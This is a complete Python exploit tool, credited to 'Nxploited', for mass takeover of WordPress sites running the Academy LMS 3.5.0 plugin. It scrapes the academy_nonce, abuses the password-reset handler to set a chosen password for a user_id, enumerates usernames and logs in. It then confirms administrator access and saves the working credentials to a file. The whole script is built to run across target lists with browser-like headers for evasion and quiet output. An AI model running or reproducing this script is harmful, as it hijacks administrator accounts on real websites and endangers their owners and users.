#!/usr/bin/env python3 # -*- coding: utf-8 -*- """ RT.py By: Nxploited (Khaled Alenazi) GitHub: https://github.com/Nxploited Telegram: @KNxploited Description =========== Silent, high-signal assistant for abusing the insecure reset flow in Academy LMS 3.5.0. Behavior (per target) --------------------- 1) Normalize WordPress base (supports subdirectory installs). 2) Locate a valid reset key (academy_nonce) from course-related pages. 3) Trigger the vulnerable reset handler for a chosen user_id using a single password. 4) Enumerate candidate accounts (author & REST based). 5) Attempt strict login for each candidate with that password: - Reject on known login failure messages. - Require wordpress_logged_in cookie. - Require real access to /wp-admin pages with admin UI markers. 6) For each strictly verified login, append a line to the result file. Console philosophy ------------------ - No usernames, no passwords, no key values printed. - Each target gets a single compact status line: [TIME] [HOST] KEY: OK | RESET: OK | ACCESS: 2 HIT - Color-coded and ordered output, no noisy tracebacks or SSL warnings. """ import os import re import sys import time from concurrent.futures import ThreadPoolExecutor, as_completed from typing import Optional, List, Set, Tuple from urllib.parse import urlparse import requests import urllib3 try: from colorama import Fore, Style, init as colorama_init # type: ignore colorama_init(autoreset=True) except Exception: class _C: RESET = "" RED = "" GREEN = "" YELLOW = "" CYAN = "" MAGENTA = "" BLUE = "" WHITE = "" Fore = _C() Style = _C() # Silent SSL / warnings urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) requests.packages.urllib3.disable_warnings() # -------------------------------------------------------- # Banner & UI # -------------------------------------------------------- BANNER_LINES = [ " ", " _____ _____ _____ ___ ___ ___ ___ ___ ___ ___ ___ ___ ", "| | | | __|___|_ | |_ | _|___|_ | | _| _|_ |_ | ", "| --| | | __|___| _| | | _|_ |___|_| |_|_ |_ | _|_| |_ ", r"|_____|\___/|_____| |___|___|___|___| |_____|___|___|___|_____|", " ", ] AUTHOR_LINE = ( "By: Nxploited (Khaled Alenazi) | GitHub: https://github.com/Nxploited | Telegram: @KNxploited" ) def print_banner() -> None: os.system("cls" if os.name == "nt" else "clear") for line in BANNER_LINES: print(Fore.MAGENTA + line + Style.RESET_ALL) print(Fore.CYAN + AUTHOR_LINE + Style.RESET_ALL) print() print( Fore.YELLOW + "Academy LMS 3.5.0 - Reset & Access Assistant (minimal, strict, silent)" + Style.RESET_ALL ) print(Fore.YELLOW + "-" * 74 + Style.RESET_ALL) print() # -------------------------------------------------------- # Minimal logging # -------------------------------------------------------- def now_hms() -> str: return time.strftime("%H:%M:%S") def format_site_status( base: str, key_status: str, reset_status: str, access_status: str, color: str, ) -> None: """ Single aligned status line per site, no sensitive values. Example: [01:23:45] [https://target.com/wp] KEY: OK | RESET: OK | ACCESS: 2 HIT """ line = ( f"[{now_hms()}] " f"[{base}] " f"KEY: {key_status:<4} | " f"RESET: {reset_status:<4} | " f"ACCESS: {access_status}" ) print(color + line + Style.RESET_ALL) def log_note(msg: str) -> None: print(f"[{now_hms()}] {Fore.CYAN}[*]{Style.RESET_ALL} {msg}") def log_warn(msg: str) -> None: print(f"[{now_hms()}] {Fore.YELLOW}[!]{Style.RESET_ALL} {msg}") def log_err(msg: str) -> None: print(f"[{now_hms()}] {Fore.RED}[x]{Style.RESET_ALL} {msg}") def log_done(msg: str) -> None: print(f"[{now_hms()}] {Fore.GREEN}[+]{Style.RESET_ALL} {msg}") # -------------------------------------------------------- # URL / Session / Headers # -------------------------------------------------------- def split_wp_base(url: str) -> Tuple[str, str]: """ Split target URL into: base_host = scheme://netloc wp_base = installation path (or "" for root) """ url = url.strip() if not url.startswith(("http://", "https://")): url = "https://" + url parsed = urlparse(url) base_host = f"{parsed.scheme}://{parsed.netloc}" path = parsed.path or "/" if path == "/": return base_host, "" return base_host, path.rstrip("/") def build_wp_url(base_host: str, wp_base: str, path: str) -> str: if not path.startswith("/"): path = "/" + path full = (wp_base + path).replace("//", "/") return base_host + full def build_session(timeout: int) -> requests.Session: """ Session tuned for low-noise scanning & light evasion. """ s = requests.Session() s.verify = False s.headers.update({ "User-Agent": ( "Mozilla/5.0 (Windows NT 10.0; Win64; x64) " "AppleWebKit/537.36 (KHTML, like Gecko) " "Chrome/121.0.0.0 Safari/537.36" ), "Accept": ( "text/html,application/xhtml+xml,application/xml;q=0.9," "image/avif,image/webp,image/apng,*/*;q=0.8" ), "Accept-Language": "en-US,en;q=0.9", "Connection": "keep-alive", "Upgrade-Insecure-Requests": "1", "Sec-Fetch-Dest": "document", "Sec-Fetch-Mode": "navigate", "Sec-Fetch-Site": "none", "Sec-Fetch-User": "?1", "Pragma": "no-cache", "Cache-Control": "no-cache", }) adapter = requests.adapters.HTTPAdapter(pool_connections=50, pool_maxsize=50, max_retries=1) s.mount("http://", adapter) s.mount("https://", adapter) return s # -------------------------------------------------------- # Reset key (academy_nonce) extraction # -------------------------------------------------------- def extract_reset_key(body: str) -> Optional[str]: """ Extract the reset key used by the vulnerable handler (academy_nonce). Only matches the specific key, not generic nonces. """ if not body: return None m = re.search(r'"academy_nonce"\s*:\s*"([^"]+)"', body) if m: return m.group(1) m = re.search(r"'academy_nonce'\s*:\s*'([^']+)'", body) if m: return m.group(1) m = re.search(r'academy_nonce["\']?\s*:\s*["\']([^"\']+)["\']', body) if m: return m.group(1) m = re.search(r'AcademyGlobal\.academy_nonce\s*=\s*["\']([^"\']+)["\']', body) if m: return m.group(1) m = re.search(r'data-academy_nonce=["\']([^"\']+)["\']', body) if m: return m.group(1) m = re.search(r'academy_nonce\s*=\s*["\']([^"\']+)["\']', body) if m: return m.group(1) return None def find_course_links(body: str, base_host: str, wp_base: str, max_links: int) -> List[str]: """ Extract up to max_links URLs that contain '/course/' from HTML, resolved under WP base. """ links: List[str] = [] if not body: return links href_pattern = re.compile(r'href=["\']([^"\']+)["\']', re.I) for m in href_pattern.finditer(body): href = m.group(1) if "/course/" in href: if href.startswith(("http://", "https://")): url = href else: url = build_wp_url(base_host, wp_base, href) if url not in links: links.append(url) if len(links) >= max_links: break return links def crawl_for_key( sess: requests.Session, base_host: str, wp_base: str, course_path: str, max_course_pages: int, timeout: int, ) -> Tuple[str, Optional[str]]: """ Try to recover a valid reset key (academy_nonce) from course pages. Returns: (source_url, key or None) """ course_root = build_wp_url(base_host, wp_base, course_path) try: r = sess.get(course_root, timeout=timeout, allow_redirects=True) except Exception: return course_root, None links = find_course_links(r.text or "", base_host, wp_base, max_course_pages) for url in links: try: r2 = sess.get(url, timeout=timeout, allow_redirects=True) except Exception: continue key = extract_reset_key(r2.text or "") if key: return url, key # Fallback: home home_url = build_wp_url(base_host, wp_base, "/") try: r3 = sess.get(home_url, timeout=timeout, allow_redirects=True) except Exception: return home_url, None key = extract_reset_key(r3.text or "") if key: return home_url, key return course_root, None # -------------------------------------------------------- # Reset handler interaction # -------------------------------------------------------- def trigger_reset( sess: requests.Session, base_host: str, wp_base: str, reset_path: str, key: str, new_password: str, user_id: int, timeout: int, ) -> bool: """ Trigger the vulnerable reset handler with the extracted key. This does NOT prove password change; it only confirms that the request reached the handler without failing nonce validation. """ reset_url = build_wp_url(base_host, wp_base, reset_path) if "?" in reset_url: full = f"{reset_url}&user_id={user_id}" else: full = f"{reset_url}?user_id={user_id}" data = { "new_password": new_password, "confirm_new_password": new_password, "security": key, "academy_reset_submit": "1", } try: r = sess.post( full, data=data, headers={ "Content-Type": "application/x-www-form-urlencoded", "Referer": full, }, timeout=timeout, allow_redirects=True, ) except Exception: return False if "Security check failed" in (r.text or ""): return False return True # -------------------------------------------------------- # Username enumeration (author + REST + guesses) # -------------------------------------------------------- AUTHOR_PATTERN = re.compile(r"/author/([^/]+)") AUTHOR_BODY_PATTERNS = [ re.compile(r'author-\w+">([a-z0-9_\-]+)<', re.I), re.compile(r"/author/([a-z0-9_\-]+)/", re.I), re.compile(r'"slug":"([a-z0-9_\-]+)"', re.I), re.compile(r'"username":"([a-z0-9_\-]+)"', re.I), ] def enum_by_author(sess: requests.Session, root_url: str, timeout: int, max_i: int = 10) -> Set[str]: users: Set[str] = set() for i in range(1, max_i + 1): try: u = f"{root_url}/?author={i}" r = sess.get(u, timeout=timeout, allow_redirects=False) if r.status_code in (301, 302): loc = r.headers.get("location", "") or r.headers.get("Location", "") m = AUTHOR_PATTERN.search(loc) if m: users.add(m.group(1)) r2 = sess.get(u, timeout=timeout, allow_redirects=True) if r2.status_code == 200 and r2.text: body = r2.text for patt in AUTHOR_BODY_PATTERNS: for x in patt.findall(body): users.add(x) except Exception: continue return users def enum_by_rest(sess: requests.Session, root_url: str, timeout: int) -> Set[str]: users: Set[str] = set() api = root_url.rstrip("/") + "/wp-json/wp/v2/users" try: r = sess.get(api, timeout=timeout) except Exception: return users if r.status_code != 200: return users try: data = r.json() except Exception: return users if isinstance(data, list): for entry in data: if isinstance(entry, dict): for key in ("slug", "username", "name"): v = entry.get(key) if v: users.add(str(v)) return users def collect_candidates(base_host: str, wp_base: str, timeout: int) -> List[str]: sess = build_session(timeout) root = build_wp_url(base_host, wp_base, "/") users: Set[str] = set() users.update(enum_by_author(sess, root, timeout, max_i=10)) users.update(enum_by_rest(sess, root, timeout)) parsed = urlparse(root) host = parsed.netloc.split(":")[0].lower() if host.startswith("www."): host = host[4:] first_label = host.split(".")[0] if first_label and len(first_label) > 2: users.add(first_label) users.add("admin") users = {u for u in users if u and 2 < len(u) < 50} if not users: users = {"admin"} return sorted(users) # -------------------------------------------------------- # Strict admin access verification # -------------------------------------------------------- def check_admin_access(sess: requests.Session, root_url: str, timeout: int) -> bool: """ Check that the current session reaches /wp-admin pages and sees admin UI markers without being redirected to the login page or blocked by permission errors. """ admin_paths = [ "/wp-admin/index.php", "/wp-admin/profile.php", "/wp-admin/edit.php", "/wp-admin/plugins.php", "/wp-admin/users.php", ] markers = [ 'id="adminmenu"', 'id="wpadminbar"', '
', 'class="wp-admin', 'id="wpcontent"', 'id="wpbody-content"', "users.php", "plugins.php", "edit.php", ] deny = [ "sorry, you are not allowed to access this page", "you do not have sufficient permissions", "insufficient permissions", ] ok_pages = 0 for ep in admin_paths: u = root_url.rstrip("/") + ep try: r = sess.get(u, timeout=timeout, allow_redirects=True) except Exception: continue if r.status_code != 200: continue if "wp-login.php" in (r.url or ""): return False content = r.text or "" low = content.lower() if any(d in low for d in deny): return False found = sum(1 for m in markers if m in content) if found >= 3: ok_pages += 1 if ok_pages >= 2: return True # Fallback: plugin-install try: r2 = sess.get(root_url.rstrip("/") + "/wp-admin/plugin-install.php", timeout=timeout, allow_redirects=True) if r2.status_code == 200: low2 = (r2.text or "").lower() if any(d in low2 for d in deny): return False if "upload-plugin" in low2 or "plugin-install-tab" in low2: return True except Exception: pass return ok_pages >= 1 # -------------------------------------------------------- # Strict login attempt (no account details printed) # -------------------------------------------------------- def strict_login_attempt( sess: requests.Session, base_host: str, wp_base: str, login_path: str, username: str, password: str, timeout: int, ) -> bool: """ Strict WordPress login: - Reject on known failure messages. - Require wordpress_logged_in cookie. - Require real access to admin UI (check_admin_access). """ root_site = build_wp_url(base_host, wp_base, "/") login_url = build_wp_url(base_host, wp_base, login_path) try: sess.get(login_url, timeout=timeout, allow_redirects=True) except Exception: pass data = { "log": username.strip(), "pwd": password, "wp-submit": "Log In", "testcookie": "1", } headers = { "User-Agent": sess.headers.get("User-Agent", ""), "Content-Type": "application/x-www-form-urlencoded", "Referer": login_url, } try: r = sess.post( login_url, data=data, headers=headers, timeout=timeout, allow_redirects=True, ) except Exception: return False content = (r.text or "").lower() fails = [ "incorrect username or password", "invalid username", "invalid password", "error: the username", "is not registered", "authentication failed", "login failed", "unknown username", ] if any(x in content for x in fails): return False has_cookie = any(c.name.startswith("wordpress_logged_in") for c in sess.cookies) if not has_cookie: return False if not check_admin_access(sess, root_site, timeout): return False return True def find_wp_login_path(sess: requests.Session, base_host: str, wp_base: str, timeout: int) -> str: paths = [ "/wp-login.php", "/wordpress/wp-login.php", "/wp/wp-login.php", "/blog/wp-login.php", "/cms/wp-login.php", "/wp/login.php", ] for p in paths: url = build_wp_url(base_host, wp_base, p) try: r = sess.get(url, timeout=timeout, allow_redirects=True) except Exception: continue txt = r.text or "" if r.status_code == 200 and " int: """ Try strict login for each candidate with the same password. Does not print usernames; only counts hits and logs them to file. """ hits = 0 sess0 = build_session(timeout) login_path = find_wp_login_path(sess0, base_host, wp_base, timeout) for username in usernames: sess_user = build_session(timeout) if strict_login_attempt(sess_user, base_host, wp_base, login_path, username, password, timeout): ts = time.strftime("%Y-%m-%dT%H:%M:%S") line = f"[{ts}] {base_host}{wp_base or ''} - account={username} pass={password}\n" os.makedirs(os.path.dirname(output_file), exist_ok=True) with open(output_file, "a", encoding="utf-8") as f: f.write(line) hits += 1 return hits # -------------------------------------------------------- # Per-site orchestration # -------------------------------------------------------- def process_site( site: str, reset_path: str, course_path: str, max_course_pages: int, reset_user_id: int, new_pass: str, timeout: int, output_file: str, ) -> None: base_host, wp_base = split_wp_base(site) label = f"{base_host}{wp_base or ''}" key_status = "-" reset_status = "-" access_status = "0 HIT" sess = build_session(timeout) # Step 1: extract reset key _, key = crawl_for_key(sess, base_host, wp_base, course_path, max_course_pages, timeout) if key: key_status = "OK" else: key_status = "FAIL" format_site_status(label, key_status, reset_status, access_status, Fore.RED) return # Step 2: trigger reset if trigger_reset(sess, base_host, wp_base, reset_path, key, new_pass, reset_user_id, timeout): reset_status = "OK" else: reset_status = "FAIL" format_site_status(label, key_status, reset_status, access_status, Fore.RED) return # Step 3: enumerate candidates + brute usernames = collect_candidates(base_host, wp_base, timeout) hits = brute_with_single_password( base_host, wp_base, usernames, new_pass, timeout, output_file, ) access_status = f"{hits} HIT" color = Fore.GREEN if hits > 0 else Fore.YELLOW format_site_status(label, key_status, reset_status, access_status, color) # -------------------------------------------------------- # Interactive runner # -------------------------------------------------------- def ask(prompt: str, default: Optional[str] = None) -> str: if default is not None: s = input(f"{prompt} [{default}]: ").strip() return s if s else default return input(f"{prompt}: ").strip() def ask_int(prompt: str, default: int) -> int: s = ask(prompt, str(default)) try: return int(s) except Exception: return default def run_interactive() -> None: print_banner() url_list_file = ask("Targets list file (one URL per line)") if not os.path.exists(url_list_file): log_err(f"Targets file not found: {url_list_file}") sys.exit(1) threads = ask_int("Threads (concurrent sites)", 5) reset_path = ask("Reset handler path", "/academy-retrieve-password/") course_path = ask("Course root path (key source)", "/course/") max_course_pages = ask_int("Max /course/ subpages to scan per site", 15) reset_user_id = ask_int("user_id to reset (handler target)", 1) new_pass = ask("New password to set (for reset + access)", "adminSA") timeout = ask_int("HTTP timeout (seconds)", 10) output_file = ask("Output file for strictly verified access", "scan_results/academy_access_success.txt") targets: List[str] = [] with open(url_list_file, "r", encoding="utf-8", errors="ignore") as f: for line in f: line = line.strip() if line: targets.append(line) if not targets: log_err("Targets file is empty.") sys.exit(1) log_note(f"Loaded {len(targets)} targets.") log_note("Process: KEY extraction -> reset attempt -> strict access checks.") print() start = time.time() with ThreadPoolExecutor(max_workers=threads) as executor: futures = { executor.submit( process_site, site, reset_path, course_path, max_course_pages, reset_user_id, new_pass, timeout, output_file, ): site for site in targets } try: for future in as_completed(futures): _ = futures[future] except KeyboardInterrupt: log_warn("Interrupted by user, shutting down threads...") executor.shutdown(wait=False, cancel_futures=True) sys.exit(1) elapsed = time.time() - start print() log_done(f"Finished in {elapsed:.2f}s") log_done(f"Strictly verified access entries written to: {output_file}") if __name__ == "__main__": run_interactive()